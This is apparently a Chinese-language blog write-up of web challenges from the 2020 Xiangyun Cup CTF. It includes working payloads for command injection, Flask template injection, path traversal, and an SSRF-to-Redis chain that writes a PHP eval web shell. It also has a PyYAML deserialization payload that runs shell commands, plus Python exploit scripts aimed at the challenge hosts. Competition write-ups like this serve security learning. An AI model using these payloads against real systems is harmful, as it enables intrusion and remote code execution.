2020祥云杯Writeup 4 min read
本文最后更新于 139 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com


Command

命令注入

127.0.0.1|find%09%2f%09-name%09"fla?.txt"

找到flag:/etc/.findflag/flag.txt

127.0.0.1|ca\t%09%2fetc%2f.findfla?%2ffla?.txt

flask bot

用户名造成模板注入,一些关键字的过滤用字符串拼接来绕过,数字用NaN

拿到flag的文件名后执行”cat /super_secret_fl” +”ag.txt”即可

其实最开始是直接读了当前目录的文件内容,有个start.sh,从里面得到的flag的文件名

flagfile=/super_secret_flag.txt
if [ ${ICQ_FLAG} ];then
    if [ "$flagfile"x = "/super_secret_flag.txtx" ];then
        echo ${ICQ_FLAG} > ${flagfile}
        chmod 755 ${flagfile}
    else
        #sed -i "s/flag{x*}/${ICQ_FLAG}/" $flagfile
        sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" $flagfile
        #mysql -uroot -proot nXXXX < $flagfile
    fi
    echo [+] sed flag OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

python /app/app.py

easygogog

前端和BJDCTF 3rd的gob长得基本一样,然后go本来就是很安全的语言,又是黑盒,基本肯定就是逻辑漏洞了。这题做法基本一样,就是在上传时候进行目录穿越,然后看头像时候读取

然而读到的却是123,尝试读取/proc/self/cmdline 发现是可以读的

解base64得到/tmp/go-build532472240/b001/exe/main

所以说,是上传的原因,上传了一个文件内容为123的文件覆盖掉了/flag的文件内容,所以刚刚读到的是123。但是无所谓,因为通过上传拿到了cookie,只要重新下发docker来恢复flag内容,然后直接带着cookie去访问就可以拿到flag了。


doyouknowssrf

SSRF打redis,和GACTF的SSRF ME差不多但是比那个简单,直接写shell即可

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req 

url = "http://eci-2zebigmdhrm1h25i2qcw.cloudeci1.ichunqiu.com/"

def g_redis(s, num):
	res = ''
	for i in s:
		res += f"%{'%02x' % ord(i)}"
	if num > 0:
		return g_redis(res, num-1)
	else:
		return res

payload = "\r\n".join(["","set a '<?php eval($_POST[Y1ng]); ?>'","config set dir /var/www/html","config set dbfilename y1ng.php","save","test"])
req.get(url=url+"?url=http:[email protected]:[email protected]/?url=http://127.0.0.1:6379?"+g_redis(payload, 1))


easyzzz

队友做的,大致思路是sql注入然后解md5得到后台密码fuzzy9inve 然后登陆后台模板写shell


Profile System

上传yaml,所以基本肯定是yaml的RCE了 其实本质是反序列化得到Python的class。但是是黑盒环境,直接传了一个poc上去没反应,大概是没有这么简单

注意到上传后可以下载自己上传的文件,所以进行目录穿越来读源码

from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml


app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower()

@app.route("/")
def index():
    session['priviledge'] = 'guest'
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
        flash('Please upload yaml/yml only.')
        return redirect("/")
    else:
        dirname = md5(request.remote_addr.encode()).hexdigest()
        filename = file.filename
        session['filename'] = filename
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html",path = os.path.join(dirname, filename))


@app.route("/uploads/<path:path>")
def uploads(path):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))


@app.route("/view")
def view():
    dirname = md5(request.remote_addr.encode()).hexdigest()
    realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
    if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])



if __name__ == "__main__":
    app.run('0.0.0.0',port=8888,threaded=True)

注意到想要yaml.load()的前提是session['priviledge']=='elite' 所以先伪造session

之后带着session即可上传,但是想要yaml.load()还要绕过一个正则,不过这个正则太弟弟了,用几个月前打一场国外赛的payload可以直接一键打

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('echo payload|base64 -d|sh')"

不能出网,所以把结果写入文件再用上面读源码的方式去读取即可,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req 
from urllib.parse import *
from base64 import b64encode

payload = b"ls ../ > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/y1ng.yaml"
payload = b"/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/y1ng.yaml"


url = "http://eci-2ze4i20uld1wxff8v8jj.cloudeci1.ichunqiu.com:8888/"
file = open("1.yaml", "r").read().replace("payload", b64encode(payload).decode())
files = {'file': ('y1ng.yaml', file, 'application/x-yaml')} 
headers = {"Cookie": f"session=eyJwcml2aWxlZGdlIjoiZWxpdGUifQ.X7oKzQ.rAHDutbVxmFgS-PvQWZyeCRM5YI"}
r = req.post(url=url+"upload", files = files, headers=headers)
session = req.utils.dict_from_cookiejar(r.cookies)['session']
headers = {"Cookie": f"session={session}"}
rr = req.get(url=url+"view", headers=headers)
url="http://eci-2ze4i20uld1wxff8v8jj.cloudeci1.ichunqiu.com:8888/uploads/4e5b09b2149f7619cca155c8bd6d8ee5/y1ng.yaml"
print(req.get(url).text)

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2676.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇